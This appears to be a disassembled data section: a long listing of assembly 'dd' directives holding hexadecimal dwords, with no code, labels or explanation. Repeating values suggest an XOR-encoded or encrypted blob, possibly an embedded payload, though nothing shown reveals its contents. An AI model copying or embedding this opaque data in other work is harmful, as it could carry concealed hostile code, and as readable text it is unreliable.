		dd 31AFB34Ch, 7310568h,	69C2B975h, 7E9E3AAh, 0D8A46C7Dh
		dd 0D3DDCEDBh, 61F8147Ch, 771CA75h, 5CF8B798h, 0EA2D35FCh
		dd 66113202h, 668820FCh, 6D5A0E15h, 0AE840C79h,	0BFD131F2h
		dd 949C13B3h, 99A47524h, 0E3ABCBC5h, 61E025A9h,	6687B61Ah
		dd 6CAD3215h, 0CE223215h, 10932435h, 946F3302h,	3FC1F4E7h
		dd 2125DB33h, 661CDBECh, 0B6A63215h, 135630C5h,	1D264BCh
		dd 0EA7C15Fh, 0A1396C92h, 40FA5475h, 6631DBDEh,	4A4E3215h
		dd 19E9EADFh, 44DA453Fh, 6D7CC506h, 3D7DE439h, 0D3775340h
		dd 61AD147Ch, 66223BFCh, 0CB300315h, 547CB049h,	0E3C97A8Eh
		dd 61CB08A9h, 660CB61Ah, 0E83215h, 6A1FE194h, 662222FDh
		dd 0F579AD15h, 9275229Eh, 0DECC2092h, 4A6DCA56h, 99706A0Fh
		dd 8D0852C5h, 0B6C46008h, 0EF436AACh, 9706F290h, 0E7EE5212h
		dd 9E8422F4h, 0DBA1C774h, 61F81610h, 150D3D15h,	8F443215h
		dd 66223218h, 72930E94h, 0EADBA50h, 241C8CCCh, 3FA7F424h
		dd 2116DB33h, 188D5AECh, 0EB4BD477h, 6622321Bh,	66923D75h
		dd 69883215h, 66443292h, 99DA5315h, 8F375BA0h, 0B8095212h
		dd 2BACD16Ch, 86E388ACh, 0E39C532Bh, 616108A9h,	6645B21Ah
		dd 99DB3215h, 0EE1ECAC5h, 66883214h, 0A2C1BBE0h, 8F25C302h
		dd 6611321Fh, 0F1B06C07h, 0EA906A85h, 0E3E468D1h, 61F8144Ch
		dd 68615256h, 0B6443215h, 642448F0h, 5661992Dh,	0E81619B1h
		dd 0B5CF5414h, 6624DB74h, 0F8C93215h, 264A7908h, 1C4DC47Dh
		dd 662DDB87h, 65563215h, 3A8A3075h, 47FB3DBCh, 0A3093366h
		dd 0FA4CD02h, 8F8FDB33h, 6644321Eh, 0F222D0CAh,	0AF8A0B08h
		dd 0EB853C65h, 8F7E8E90h, 6632DB12h, 12123215h,	211EB337h
		dd 0B6B3975Ah, 0EB9E73D6h, 0B6EE6BA9h, 669EBC1Ah, 77AD3215h
		dd 0A2223215h, 7EDDFD6Fh, 936A60ECh, 471D05DFh,	0F3AE0150h
		dd 71D9B79Ch, 0A07135E4h, 8F626B90h, 6D77112h, 6617BF1Ah
		dd 0E4873215h, 66443215h, 66223BFCh, 2093F415h,	68D9DDF4h
		dd 0E259F09h, 9A03A535h, 0FA4CDECh, 9A8FDB33h, 5CF8B798h
		dd 0E42D35FCh, 66113214h, 9A58CDE9h, 7188B79Ch,	0E5D735E4h
		dd 8F3537A8h, 0E3873212h, 66443356h, 0D12D5275h, 6CF853CFh
		dd 0C0883215h, 0CFE2E380h, 38F42C74h, 0E3D75341h, 6161144Ch
		dd 0E24BC756h, 6622321Ch, 0D9468275h, 3BDD8FD4h, 0CE475A74h
		dd 0EE2DB915h, 66113203h, 668823FCh, 1D8CF815h,	1EAC2588h
		dd 9713DBABh, 0E510861Ch, 0D3BB4A65h, 61CB147Ch, 661138FCh
		dd 50979215h, 4783B8B7h, 0EBBF22FEh, 8F2B8E90h,	669CDB12h
		dd 96053215h, 0BB719B2Dh, 78A6008Dh, 0B1A94939h, 0AEEA41EDh
		dd 0B6DD2AEAh, 0B4A95475h, 6681DB7Ch, 0C1133215h, 9A2DE2C6h
		dd 77737BFh, 66883FFCh,	79499A15h, 0ADAA0948h, 7B5080C9h
		dd 0E301A951h, 61B525C1h, 662BDB75h, 13D23215h,	27A53C45h
		dd 8FEBD453h, 66223219h, 8479BAF7h, 22013DB6h, 0E813D7C2h
		dd 3FA7F474h, 2516DB33h, 6689B21Ah, 0EBD3215h, 837904C0h
		dd 0D3EECBECh, 6161147Ch, 0DAC1BFE0h, 8F25DB2Fh, 66113210h
		dd 0A2E0A846h, 8F94CD23h, 66223219h, 0A2F4401Ch, 214EE1C8h
		dd 594B1BAAh, 71F2B79Ch, 0D57135E4h, 6682DA23h,	1F173215h
		dd 30C07FCFh, 6E9A392Eh, 7D65375h, 6655B81Ah, 6ACB3215h
		dd 0E0113215h, 47C0BB7Eh, 6D46F933h, 0A0C71E85h, 8F376B90h
		dd 6E87112h, 66443EFCh,	424D9715h, 4B9F00CCh, 0C72A25D4h
		dd 0B0C5535Fh, 6315C3C1h, 6618DB74h, 5013215h, 0C8125DB2h
		dd 0E7ED340h, 8CBB00F4h
		dd 6689B71Ah, 69BD3215h, 66223995h, 0D11E5215h,	677BB3D4h
		dd 70C5FACh, 404B87EAh,	7135FCh, 36779EACh, 60AD534Dh
		dd 0CE223215h, 0F2A951D9h, 0DA0DBF20h, 8F43DB2Fh, 66223218h
		dd 0B41B5E62h, 91C1F9D6h, 0B2EA55D1h, 9FF2CD9Fh, 6601DB75h
		dd 49B73215h, 8FED0C6Ch, 23D3349Eh, 0C93C16D6h,	72610C61h
		dd 0CE443215h, 11208D8Fh, 64571713h, 4058C6EDh,	0EC8544E1h
		dd 7307831h, 71C9B79Ch,	0E7E835E4h, 0B405CDC4h,	0F2D2B334h
		dd 779DD69h, 40D1B7D3h,	60735FCh, 0E7F1B973h, 9F9B91D7h
		dd 51E05305h, 9EC0C3B9h, 404B87EAh, 317135FCh, 0F7D2EFACh
		dd 54FB6C39h, 7381A93h,	5CADB798h, 0EC8735FCh, 6644321Dh
		dd 6620BE1Ah, 7713215h,	0EB87E2EAh, 66443214h, 0BAA7BBE0h
		dd 8F16C302h, 66883206h, 1238882Fh, 7D5B4020h, 0E61C29CEh
		dd 0CE207F0Dh, 0A0D1AEE8h, 8F046B90h, 0E7717D12h, 11BA06C2h
		dd 0B22C5311h, 6B50785h, 0FA4CD74h, 698FDB33h, 66443C90h
		dd 88A35215h, 40ED81AAh, 6688B31Ah, 0EB253215h,	8F188E90h
		dd 0ED775212h, 0D18752EEh, 71B63D4h, 69F2CD74h,	66113B99h
		dd 38DF5215h, 994908ABh, 0E3AB532Bh, 61E025F5h,	668838FCh
		dd 0CB9D7B15h, 64EDA211h, 0A0898FF2h, 8FAE6B90h, 6247D12h
		dd 0CDEAB373h, 669C3D91h, 7883215h, 7BD851Ah, 662ABC1Ah
		dd 69713215h, 66883296h, 642C5315h, 69DB5C1Bh, 66112099h
		dd 6A043D15h, 8F443215h, 66223212h, 206F56B3h, 69A328C0h
		dd 66443A9Fh, 0DB5215h,	0AF82FC94h, 0F3DCD74h, 9F43DB33h
		dd 2BF1B375h, 373E0947h, 6688BB1Ah, 71C3215h, 5C9EB798h
		dd 0EF1E35FCh, 66883210h, 724CE75h, 8FF2CD74h, 66113218h
		dd 6DC4C817h, 0BD6B03FFh, 95D1AFAAh, 8294BB1Ch,	8F8FC302h
		dd 66443207h, 0F9F97DE8h, 741738BDh, 0A6788BE4h, 0D76A89D9h
		dd 0E3E46E81h, 61F8144Ch, 0D9875258h, 2F2C53EEh, 69EA056Ch
		dd 66113A9Fh, 640B3D15h, 6443215h, 0F97CD74h, 8F16DB33h
		dd 66883205h, 40C0B3D5h, 6BE925E5h, 0FC649FA5h,	0DFC8F76Fh
		dd 6645B71Ah, 0EBDB3215h, 8F2B8E90h, 67023D12h,	9F443215h
		dd 6ACBE2EAh, 4C113215h, 0D88199BAh, 88D5469Dh,	0EF015CE0h
		dd 9706DE90h, 0E4875212h, 66443210h, 0FEBB373h,	749B3D68h
		dd 8F883215h, 66443218h, 76F53BC7h, 0D279583Ch,	0D6DF45BCh
		dd 0E38253C2h, 61CB144Ch, 69435258h, 6688329Eh,	91C56915h
		dd 5CDC8AC9h, 2B985A74h, 7461EEE2h, 0A5443215h,	25542479h
		dd 0D9104D4Bh, 58F49636h, 1579F0A3h, 0F97CDC8h,	9316DB33h
		dd 6689B41Ah, 0EBB13215h, 8F188E90h, 661CDB12h,	804C3215h
		dd 8DC40458h, 326517D4h, 99BE1936h, 669ADBC5h, 0F4183215h
		dd 1D762D1Bh, 0E219755Ch, 66567EAAh, 0CD6374A5h, 71CAB79Ch
		dd 76F835E4h, 0F0883215h, 0F1031C2Ch, 202FEBFCh, 0BDB842AFh
		dd 0A07E0534h, 8F626B90h, 69426712h, 6611349Eh,	660C3D15h
		dd 8E443215h, 66223207h, 0FE4EC8D2h, 0DC520651h, 96C9FA89h
		dd 1CDFD421h, 60F87AFBh, 0A4883215h, 0FC1C945Bh, 0E436ADAh
		dd 0FA0A1F22h, 669BDB75h, 6A1A3215h, 0CB067191h, 0CC97B6F4h
		dd 85E42C62h, 0AE5C275Bh, 65A93D2Ch, 0E6113215h, 99E95DE0h
		dd 8F625BA0h, 6AAF3D12h, 8F113215h, 66883212h, 0E7BD8BCDh
		dd 0EBED1996h, 8F2B8E90h, 668EDB12h, 5B0D3215h,	9A3216DDh
		dd 0EFE8E2EAh, 979FC290h, 664ADB12h, 0C9F3215h,	226C9831h
		dd 9957EB6Eh, 8B1983FCh, 407BB7D3h, 8F5235FCh, 6688321Ah
		dd 30C9F80h, 9FDB33A4h,	8B6E2854h, 68BC2E7h, 0E701F695h
		dd 714343DAh, 4C795361h, 8F5AE7E5h, 6644321Bh, 1181B873h
		dd 0E37C8934h, 0BC59D3C5h, 0D3BBCA20h, 61CB147Ch, 661ADA75h
		dd 2ABD3215h, 0B49CE759h, 808F61ACh, 0A3E6B311h, 38C4B2A8h
		dd 664FDB75h, 0AEF23215h, 3F163D74h, 1BA36B84h,	0A1FB3D8Eh
		dd 0E3AF5374h, 61F808A9h, 0AD095475h, 0FEF14D60h, 8FF2CD74h
		dd 66113213h, 0BB02927Fh, 0ED2440DCh, 0EF43CED6h, 9706C690h
		dd 77615212h, 59443215h, 492ACAE3h, 543A1A3Dh, 38A59FADh
		dd 486A9CB4h, 717D895h,	3F94F4ECh, 348FDB33h, 39C78D75h
		dd 0DE4449C6h, 0E70DAAAh, 9BCA86FFh, 6667B81Ah,	8F423215h
		dd 66113212h, 0A85EFC10h, 8F339E34h, 66223205h,	0A1DF169Bh
		dd 0C57B7F30h, 7E08137Bh, 6647136Ch, 0FA4CD74h,	68FDB33h
		dd 74AD64E9h, 0EB223215h, 58E89ED6h, 0F57EEA3Ch, 56529C8Ch
		dd 3815AB7Fh, 0EB706DDEh, 8FB28E90h, 0B6BBC712h, 1FA7BBECh
		dd 616DB0Eh, 668ABC1Ah,	0A8CF3215h, 0A043C29Eh,	8F376B90h
		dd 0E747512h, 84DC6B8Ch, 66223FFCh, 3ABB4F15h, 9391C8A4h
		dd 0B99BCB2Ah, 0D3DD75B0h, 61F8147Ch, 0DA0DBFEDh, 9343DB2Fh
		dd 42E2EAh, 8F71EC9Eh, 6688321Eh, 0E26EE851h, 313755C4h
		dd 0D9F0656Bh, 57704023h, 245374h, 79838AAh, 71E9B79Ch
		dd 0A07435E4h, 8F626B90h, 0EDE7512h, 0D7EC52D7h, 0F3DCDE0h
		dd 6943DB33h, 66222593h, 6CF85215h, 0B8883215h,	5C46DA2Ah
		dd 2A95C293h, 669A3DC3h, 7883215h, 5CF8B798h, 694235FCh
		dd 66112296h, 6683DB15h, 15CB3215h, 5F7F1782h, 943B524Eh
		dd 0B6775362h, 6648B01Ah, 0E12D3215h, 66113213h, 6688BD1Ah
		dd 0E3CD3215h, 61D325E9h, 66113EFCh, 1BDCFB15h,	1CBF034Bh
		dd 0D78F8669h, 3F94F4CCh, 218FDB33h, 98505AEDh,	6942EDB3h
		dd 6611309Ch, 42B915h, 5C3CF194h, 0F97CD74h, 6916DB33h
		dd 66882591h, 6656DB15h, 0B3F93215h, 0B236DB48h, 0FCA7F888h
		dd 47A5B219h, 26F0FB68h, 0DA94BFE9h, 8F8FDB2Fh,	66443204h
		dd 0CA715034h, 3A1C0DBCh, 0B9F63DF7h, 0CB85111Fh, 69F2CDE9h
		dd 66113C94h, 96095215h, 6937E5B6h, 6622B11Ah, 0EF703215h
		dd 97903290h, 0E04B5212h, 66223210h, 31D9B373h,	71093D20h
		dd 8F443215h, 66223207h, 41651445h, 0E674DF2Ch,	0FA7CFF64h
		dd 7D9C28D3h, 0A0706DD3h, 8FAE6B90h, 69B86D12h,	66223E9Ah
		dd 60933D15h, 69883215h, 66443291h, 944A5A15h, 71AC45h
		dd 8B90E994h, 56FE8D73h, 0D3DDC774h, 61F8147Ch,	0DA0DBFE9h
		dd 6943DB2Fh, 66222196h, 661FDB15h, 0DDCB3215h,	4330DE02h
		dd 321F0F89h, 67A1D54h,	0E887E2EAh, 66443219h, 6624B61Ah
		dd 0E91E3215h, 66883215h, 6648B41Ah, 0E22D3215h, 66113213h
		dd 6688B41Ah, 0E3CD3215h, 61D32A11h, 6610B11Ah,	67D3215h
		dd 664426FCh, 0D65B6B15h, 1280C8ECh, 0C785105Dh, 55246816h
		dd 44AC532Ch, 0E3D753B6h, 6161144Ch, 592CC75Ah,	69E5CE6Eh
		dd 66113E95h, 0DCEE5215h, 0E24B396Ch, 66223215h, 0FA4CD74h
		dd 68FDB33h, 0EB2517A2h, 8F188E90h, 6603DB12h, 0D2363215h
		dd 73CCA7C2h, 4D4DC027h, 0F2954DAEh, 57AB0834h,	0E34BE2EAh
		dd 66223213h, 64F6475h,	0E3015374h, 61B52A25h, 0ACF8C75h
		dd 0E77774AEh, 7501CC5h, 401DB7D3h, 66535FCh, 66113FFDh
		dd 0AD1FA15h, 81472E71h, 6401EFC1h, 7713CE6h, 0B909614Eh
		dd 7DBD2AE2h, 2A4A534Eh, 8FEB697Bh, 6688321Eh, 9B847544h
		dd 2B6494B1h, 697BE703h, 66882A90h, 74C13D15h, 8F223215h
		dd 66113218h, 8EBDF8F6h, 66CADDCDh, 0F5416795h,	0FA4CDC1h
		dd 8F8FDB33h, 66443205h, 5D83114h, 66C10C1Bh, 8C944FA7h
		dd 95ED2A89h, 5C9EB798h, 0EF1E35FCh, 66883207h,	6643DA75h
		dd 0C8943215h, 94D86F60h
		dd 0D1876B41h, 0B6BB53C5h, 60CB5275h, 0EE113215h, 5D08D434h
		dd 71C6198h, 3DDFB845h,	5294BB74h, 8F8FC30Dh, 66443206h
		dd 0C0A3E025h, 76D3C98Ch, 0F74AB03Fh, 0A327F5B9h, 664E08Ah
		dd 0B6905475h, 0D987318Eh, 0E44B53EEh, 66223211h, 901A8A73h
		dd 3F0DF474h, 2143DB33h, 42EF5AE9h, 99E4F113h, 8FAE5BA0h
		dd 0E34BC712h, 66223219h, 0C718875h, 0AC30762Fh, 708E13Ch
		dd 5C9EB798h, 60F835FCh, 0EB883215h, 0A44ECE7Ah, 8FF2CDDCh
		dd 66113212h, 4ACE65F8h, 0EF267E56h, 973A0A90h,	0E21E5212h
		dd 66883217h, 63ACC4A7h, 7E223215h, 902EBEE8h, 668822FCh
		dd 59123C15h, 1785A45h,	0EAC36FC1h, 2894339Fh, 0A0256D8Dh
		dd 8F046B90h, 0EE86D12h, 0B23352D9h, 6994B975h,	9943F1A2h
		dd 8F375BA0h, 6B083D12h, 8F443215h, 6622321Dh, 59CA9DCFh
		dd 0AF15BF5Ah, 5CF8B798h, 99DB35FCh, 0E51ECEC5h, 66883207h
		dd 8F255275h, 6622321Ch, 0D416105Fh, 0C745625Fh, 0E3CD5356h
		dd 61D32A1Dh, 6619BD1Ah, 0E4873215h, 66443217h,	0E3E45375h
		dd 61F8144Ch, 6681DB4Ah, 0D0453215h, 58B737A6h,	0E790338h
		dd 0F861665Bh, 0FF1CDE9h, 9E25DB33h, 5CADB798h,	0EB8735FCh
		dd 6644320Fh, 6636BC1Ah, 69F83215h, 67883215h, 8519E5B9h
		dd 0EF1CD5Ch, 7712F492h, 0B6772504h, 664DDBE0h,	0BD573215h
		dd 5AD58CB8h, 0EF66D3E2h, 975C3E90h, 662CDB12h,	60A23215h
		dd 4F455A7Ch, 529FA418h, 0DB284BB6h, 4048B7D3h,	8FD735FCh
		dd 6644321Ah, 863D08A0h, 4F832B44h, 92513C91h, 9E12B7D6h
		dd 750A7A7Dh, 661CDBC4h, 0A9CE3215h, 0A8F89ECDh, 0D7362C3Ah
		dd 994FDB17h, 8FAE5BA0h, 6655DB12h, 8AAE3215h, 0A167808Eh
		dd 0B2A756C8h, 0A04B08D0h, 0EB42B6CEh, 8F2B8E90h, 0B677CA12h
		dd 364C8675h, 662235FCh, 3E47B315h, 0A73C72FFh,	0E3CD534Bh
		dd 61D32A05h, 661DB31Ah, 61613215h, 0B3443215h,	0F478776Bh
		dd 627B5D39h, 76885AECh, 0E74B3215h, 66223214h,	76115AEDh
		dd 69E83215h, 66443D97h, 6628DB15h, 3AE13215h, 0C199B3E2h
		dd 0BDF50D68h, 0C43E29Fh, 99705215h, 8FA34F80h,	0E3CDCE12h
		dd 61CB06ECh, 0F494BFEDh, 9A8FC2B3h, 0CBDE2EAh,	6EA63D11h
		dd 6113215h, 0B6A80AAFh, 6925C717h, 66223994h, 6617DB15h
		dd 0B9B83215h, 71B1D399h, 6632327Dh, 61923D15h,	6883215h
		dd 37838D1Ah, 664A534Fh, 69113235h, 6688389Ch, 6641DB15h
		dd 0A4F3215h, 0C24AB0Dh, 7C0F3D15h, 6443215h, 6622BB1Ah
		dd 6BF83215h, 94883215h, 56DC09D8h, 50FE1D09h, 6A232544h
		dd 1B1DCD74h, 643DB3Eh,	93F18D1Ah, 6605DB74h, 556C3215h
		dd 705057E8h, 5C6EE91Bh, 9CB49A35h, 0E9E458A0h,	0E3CDF69Ch
		dd 61CB1408h, 66113EFCh, 67537B15h, 0E0AB32D6h,	0C6EFDB86h
		dd 0E794BB82h, 698FDB0Fh, 66443F93h, 662ADB15h,	139D3215h
		dd 68ACFC16h, 692415ACh, 6622319Ah, 0BC9A5415h,	38D66143h
		dd 8F045874h, 66223213h, 954028EEh, 66E0D992h, 8F443205h
		dd 66223206h, 0F08FF1E2h, 8007F163h, 0F91F3C83h, 98930A3Dh
		dd 0E63B8CAh, 66893215h, 6650DA75h, 8D223215h, 9BC32654h
		dd 1EAC821Bh, 0AAD32651h, 0E3157455h, 0EA1E2447h, 66883215h
		dd 73C53D4Bh, 8F223215h, 66113205h, 0F9CF54E9h,	13D9D371h
		dd 6D27731Fh, 0AE942778h, 69885874h, 66442291h,	6CAC3D15h
		dd 8F113215h, 66883210h, 94DB9732h, 1BB7CD4Fh, 9E16DB3Eh
		dd 6FA1B79Ch, 0ED2435FCh, 1FCCB3C5h, 75FA1EEh, 4B59879Eh
		dd 0E74B35FCh, 6622320Ah, 6608B31Ah, 72613215h,	0DB443215h
		dd 81316065h, 0C0D732B1h, 0E883A255h, 4383FC31h, 8F81C158h
		dd 66113205h, 3902984Eh, 0EDD6617Dh, 83F3A044h,	345359B4h
		dd 6C61AF9Eh, 0EC4B35FCh, 66223218h, 0A4905475h, 0E58731AFh
		dd 66443215h, 9397BB74h, 616DB37h, 0F9F78873h, 0EFFF5475h
		dd 0A2258B18h, 77031A0h, 706DAF9Ch, 0E44B35FCh,	66223203h
		dd 661123FCh, 36A9B815h, 0B4BDAA0Fh, 0D1B126C5h, 710495ECh
		dd 0FB03C7C3h, 61AD38FCh, 0E744C775h, 72CB7D6h,	66888847h
		dd 0BC453215h, 72A9389Eh, 62D5B331h, 8F883215h,	6644321Fh
		dd 817AFB46h, 6E5C4A86h, 0E570A2FFh, 0E24B32ECh, 66220B60h
		dd 6619B91Ah, 0E0873215h, 66443217h, 0F4A5375h,	0EF11327Fh
		dd 0ED871611h, 66443214h, 62CEB1E9h, 69353E9Ch,	66883F96h
		dd 90C55215h, 12DEDA15h, 0A3B3BACh, 69E85365h, 66443E90h
		dd 60AA3D15h, 69113215h, 6688329Ch, 8F840315h, 66223205h
		dd 4E81F546h, 83197FB6h, 66C3B074h, 8C22EA96h, 688CB79Ch
		dd 377435FCh, 0CD2C33ACh, 0FE198C45h, 0A0909D41h, 94B04E0h
		dd 88C5FC14h, 9E104E0h,	6619DB4Ch, 11E03215h, 684E12D9h
		dd 0A0A32E92h, 78FA6F33h, 46AC4616h, 7C008946h,	8DA35B59h
		dd 2C718F0Bh, 8FD3EC3Ch, 66443213h, 2F6E12ABh, 0CB77E6E7h
		dd 0E742B975h, 6DF6B1D2h, 0DF735312h, 10327EFDh, 65D1FA3Ch
		dd 63641651h, 10017EFDh, 6614BD1Ah, 9FE83215h, 99255375h
		dd 62A34A65h, 3E221A31h, 42BCB947h, 0E740F696h,	3E111AFBh
		dd 405247h, 0DCD2FA9Eh,	5ACF4B88h, 0C39B6374h, 0E705DE67h
		dd 1DC9DFD4h, 87857B3Fh, 0ABE3B312h, 913DD770h,	0ED49B3C4h
		dd 67157DA9h, 12216BDBh, 88901231h, 16183C28h, 72C93DE9h
		dd 6223215h, 66113AFDh,	895C9B15h, 3B01E11Fh, 0DC446C8Ch
		dd 99707E1Bh, 69D72A63h, 66443393h, 0DBABCA15h,	61F82414h
		dd 7F063D75h, 8F443215h, 66223201h, 0D103F691h,	7E2BB7EBh
		dd 710292C3h, 0EAFD02C4h, 0D006C7F4h, 9862B373h, 99C1534Eh
		dd 666AB71Ah, 0EC1E3215h, 66883214h, 8EC552EDh,	1C148CB9h
		dd 3E705242h, 4EDDA74h,	0E84B3215h, 6622321Eh, 661134FCh
		dd 0D50AA715h, 9F682184h, 6627E2FCh, 6605DB15h,	89323215h
		dd 4B442305h, 0AC1C9A06h, 0B0AD6617h, 0D734269h, 0EF130439h
		dd 62E5B3F2h, 0E5113215h, 5A0F36FAh, 6ACD6E31h,	662CDB31h
		dd 0AD543215h, 0F554484Eh, 2EDB10Ah, 1BFB0B6Eh,	0FAA96242h
		dd 4FBCE92Eh, 3E401651h, 0FAE0B34Fh, 6925E92Eh,	6688269Dh
		dd 664BDB15h, 2C4C3215h, 3BDAF511h, 0C4DF5BDAh,	2974D374h
		dd 62F059E1h, 6617DB75h, 0A7843215h, 425885D5h,	4BB7BB74h
		dd 8F16DB21h, 6688321Ah, 97624537h, 8C23E270h, 52928EDAh
		dd 0CA1519Eh, 72C03D11h, 8F223215h, 6611321Ah, 66E447F2h
		dd 1EABE02Bh, 7990487Ch, 0E32D0FDh, 66882215h, 664DDB75h
		dd 4D103215h, 0B4516A09h, 8E4CBD64h, 6644321Dh,	0B5DA05F6h
		dd 34EBC2A6h, 66883BFCh, 3F594615h, 0E68DCBFAh,	74B3B7Fh
		dd 66F6817Dh, 4250BB15h, 6623B11Ah, 0CE83215h, 669BDB15h
		dd 5D753215h, 43155439h, 13C3E28h, 478267B4h, 12B47FC5h
		dd 0F3DDCB0Ch, 61F81968h, 668EDB75h, 0BF803215h, 54ECDB87h
		dd 0BDC78A73h, 4B0DBB74h, 6943DB06h, 6622359Bh,	679A3D15h
		dd 93883215h, 0EF83BB42h, 421EB9EFh, 9F15F696h,	31AC3E9Eh
		dd 0A1C5D59Ch, 66223211h, 6615F594h, 5A0F3215h,	68AD6E31h
		dd 0B2223215h, 23C238FAh, 8388AB48h, 7AD2E6BFh,	379352C0h
		dd 6C8DA74h, 8FE83215h,	66443206h, 70F8DA72h, 0AF52851h
		dd 0D9FBA554h, 2392D5B0h, 72DDA37h, 66113AFCh, 2FFF8915h
		dd 0C1D020EEh, 80AB6453h, 6615F494h, 880B3215h,	4270B511h
		dd 4216BB49h, 0E11E9FE9h
		dd 6688320Ch, 664426FCh, 0AC675C15h, 8A347672h,	304E0277h
		dd 677EBD52h, 0D641B639h, 4F583736h, 228B0768h,	0DD171631h
		dd 535F1B5Ch, 64AEA3Ch,	0EC874DA7h, 66443203h, 662223FCh
		dd 0F1D8DA15h, 82DDB13Eh, 0A9D7BE04h, 0DE902F5Ah, 3670C938h
		dd 0EF8CDE96h, 391C1629h, 72CBCE75h, 0ED113215h, 0F0B240C9h
		dd 8703DA3Fh, 0E1D4568Bh, 0CEDCD3E1h, 748993Dh,	0EF40DE96h
		dd 8F791629h, 6611321Fh, 0BB21988Dh, 0EB37DFB3h, 0EF73FE6Ch
		dd 62D0B3F4h, 0E7883215h, 664436FCh, 422EB515h,	422DBB49h
		dd 6680BB1Ah, 243215h, 4984EC94h, 0E21E53ECh, 66883202h
		dd 6648DA75h, 58D23215h, 0A5459557h, 74180330h,	1FD9FEh
		dd 5643CB9Eh, 6619DBD5h, 43CB3215h, 0F8F7F3A4h,	138CAE93h
		dd 6D983DE8h, 6883215h,	2930D094h, 0A5A2192Ah, 93715347h
		dd 668ABC1Ah, 9DCF3215h, 4216B974h, 0E7F0BB44h,	668836D4h
		dd 6285B115h, 3A063E92h, 66113FFCh, 88FDAB15h, 21E4D44h
		dd 8BC1D3E7h, 0DD42DCDBh, 4ADF6E4Ah, 4F1FED3Ch,	39E5B3CAh
		dd 9E3D6549h, 0EF8CDE96h, 0E84B1601h, 66223205h, 6619DB75h
		dd 0EF7B3215h, 0D9626F55h, 7DBA52Bh, 659F3D75h,	883215h
		dd 0E722F59Eh, 792F0D5h, 0A0AF6442h, 6792BF3Fh,	38401661h
		dd 0A0C8B34Fh, 690BBF3Fh, 66883396h, 0DBCFC715h, 61CB06ECh
		dd 661FB91Ah, 69E83215h, 6644329Ah, 66AF3D15h, 7113215h
		dd 9977CDACh, 70C43DEAh, 8F223215h, 66113204h, 51D74D29h
		dd 0D8EDDFC1h, 561E33Dh, 0A8299D34h, 6480386h, 6642B51Ah
		dd 0E72D3215h, 66113215h, 668CB31Ah, 0DE223215h, 3543EEEAh
		dd 661132AEh, 0EC7B3315h, 4258B916h, 9F26F696h,	69D902E9h
		dd 66883591h, 67CD3D15h, 9E223215h, 70498F40h, 930949CCh
		dd 1D9D244Ch, 67FDC14h,	669D3D75h, 8F883215h, 66443210h
		dd 4A5B1F23h, 99705309h, 6203B521h, 6280B331h, 69223215h
		dd 66113A95h, 64073D15h, 6443215h, 6ECBF374h, 6606B01Ah
		dd 0E3873215h, 66443204h, 66223EFCh, 16D19615h,	0E5F5516Ah
		dd 660C2052h, 9FE303EFh, 38943D5Fh, 8F77CDEAh, 66443207h
		dd 95B427D1h, 92A76AD7h, 0A1344153h, 23B7DD66h,	0EF758CA8h
		dd 0EDE9BBDAh, 0A2091629h, 66443211h, 6633DB75h, 0A3AF3215h
		dd 57F9CE59h, 7130E491h, 0D9D8150Ah, 31928BB7h,	6688BD1Ah
		dd 71F3215h, 662237FCh,	817B4C15h, 0E11A33C0h, 0E195C5DFh
		dd 42A0DFh, 5BFBFA94h, 720353E9h, 80CD6431h, 6626F494h
		dd 0A0903215h, 66883211h, 3A600692h, 669961ECh,	67113215h
		dd 520962C6h, 59201F31h, 0E721BD00h, 59751F26h,	69E86900h
		dd 66443490h, 0A3FCB315h, 690FF566h, 66883194h,	9FCF5415h
		dd 62996174h, 67113215h, 4294B9CFh, 8F40F696h, 66223201h
		dd 3D507ABCh, 0BA00A4BDh, 4135C8CCh, 54BE56F9h,	0FC8BFC6h
		dd 66CA7A7Dh, 4250BB15h, 66223BFCh, 27CBF715h, 0C65B45E0h
		dd 0E3BBF448h, 61CB3C88h, 59AB5475h, 74BB98Eh, 68D9A79Eh
		dd 69CB35FCh, 1113215h,	8F28ED21h, 0E2D00B19h, 1CFEA19Eh
		dd 0F32864A2h, 61612414h, 663AB61Ah, 69423215h,	0A790F5A2h
		dd 4917DE89h, 4270CD74h, 62E6B34Fh, 69113215h, 6688379Ch
		dd 31BC5215h, 52A9534Ch, 85986131h, 668CF194h, 0A5C73215h
		dd 423EB511h, 75953D49h, 6883215h, 664435FDh, 0C8C30515h
		dd 3454747Bh, 0BD32544Bh, 0DB115338h, 66223211h, 4A9ADC14h
		dd 624CB331h, 6443215h,	590894AAh, 70F85328h, 677CDE9h
		dd 0EF4BFA9Eh, 66223214h, 63F853E0h, 38883215h,	4B36F39Bh
		dd 3C0606EAh, 6915F696h, 66882196h, 664ADB15h, 65043215h
		dd 0DF2B65A4h, 0BEF811BEh, 6D7CD072h, 380606EAh, 6915F696h
		dd 66883A9Ah, 64C13D15h, 6223215h, 60F85374h, 5C883215h
		dd 507ACEF6h, 4216CDA6h, 62D5B34Ch, 93883215h, 664435FCh
		dd 5E13EF15h, 9F2F7BE5h, 3EAC06EAh, 6640F694h, 0E42D3215h
		dd 66113217h, 0E34F5375h, 61AD3D4Ch, 66223215h,	6619B31Ah
		dd 0EA873215h, 66443217h, 0E3E55375h, 61F802D0h, 66883215h
		dd 1EF9B1E9h, 6625C302h, 6604B61Ah, 0D9E83215h,	5FE86F5Ah
		dd 554D8973h, 0A78CBF74h, 938FDDC3h, 99B8E1EAh,	8F3F3B90h
		dd 7D9B3D12h, 6883215h,	74AD6C46h, 3223215h, 0C20CD3F1h
		dd 0ADCFE0D3h, 9F3D32C8h, 0BB2719D4h, 0E61E533Fh, 6688320Ch
		dd 6657BA1Ah, 68CB3215h, 3E113215h, 32A2B8B2h, 6163D0D1h
		dd 3BE1BE74h, 6FACB162h, 28FDB08h, 64FCB01Ah, 6FCB3215h
		dd 0F8113215h, 0D7006354h, 91DFBD3Bh, 7B2BB7D2h, 661035FCh
		dd 9AE83215h, 6252BA5h,	55A7BFECh, 9A16C2B8h, 0E187E2EAh
		dd 66443205h, 6628BF1Ah, 63F83215h, 0A5883215h,	12937FD4h
		dd 7E6A8798h, 0ED1E35E4h, 6688321Ch, 49FA5475h,	0A4953D81h
		dd 9CACBF74h, 8F8FC3B3h, 6644321Dh, 6168B13Fh, 6FBA9D3Fh
		dd 6B9BF594h, 89C51513h, 146D566Fh, 0A190C53Ch,	14C7566Fh
		dd 6B57DD94h, 0E12D1513h, 66113219h, 668EB21Ah,	0E04B3215h
		dd 66223215h, 0EFEFBB43h, 42BCB9E7h, 8F40F696h,	6622321Ch
		dd 0CA50E153h, 6E30D502h, 9FF9B97Ah, 625DB21h, 661138FCh
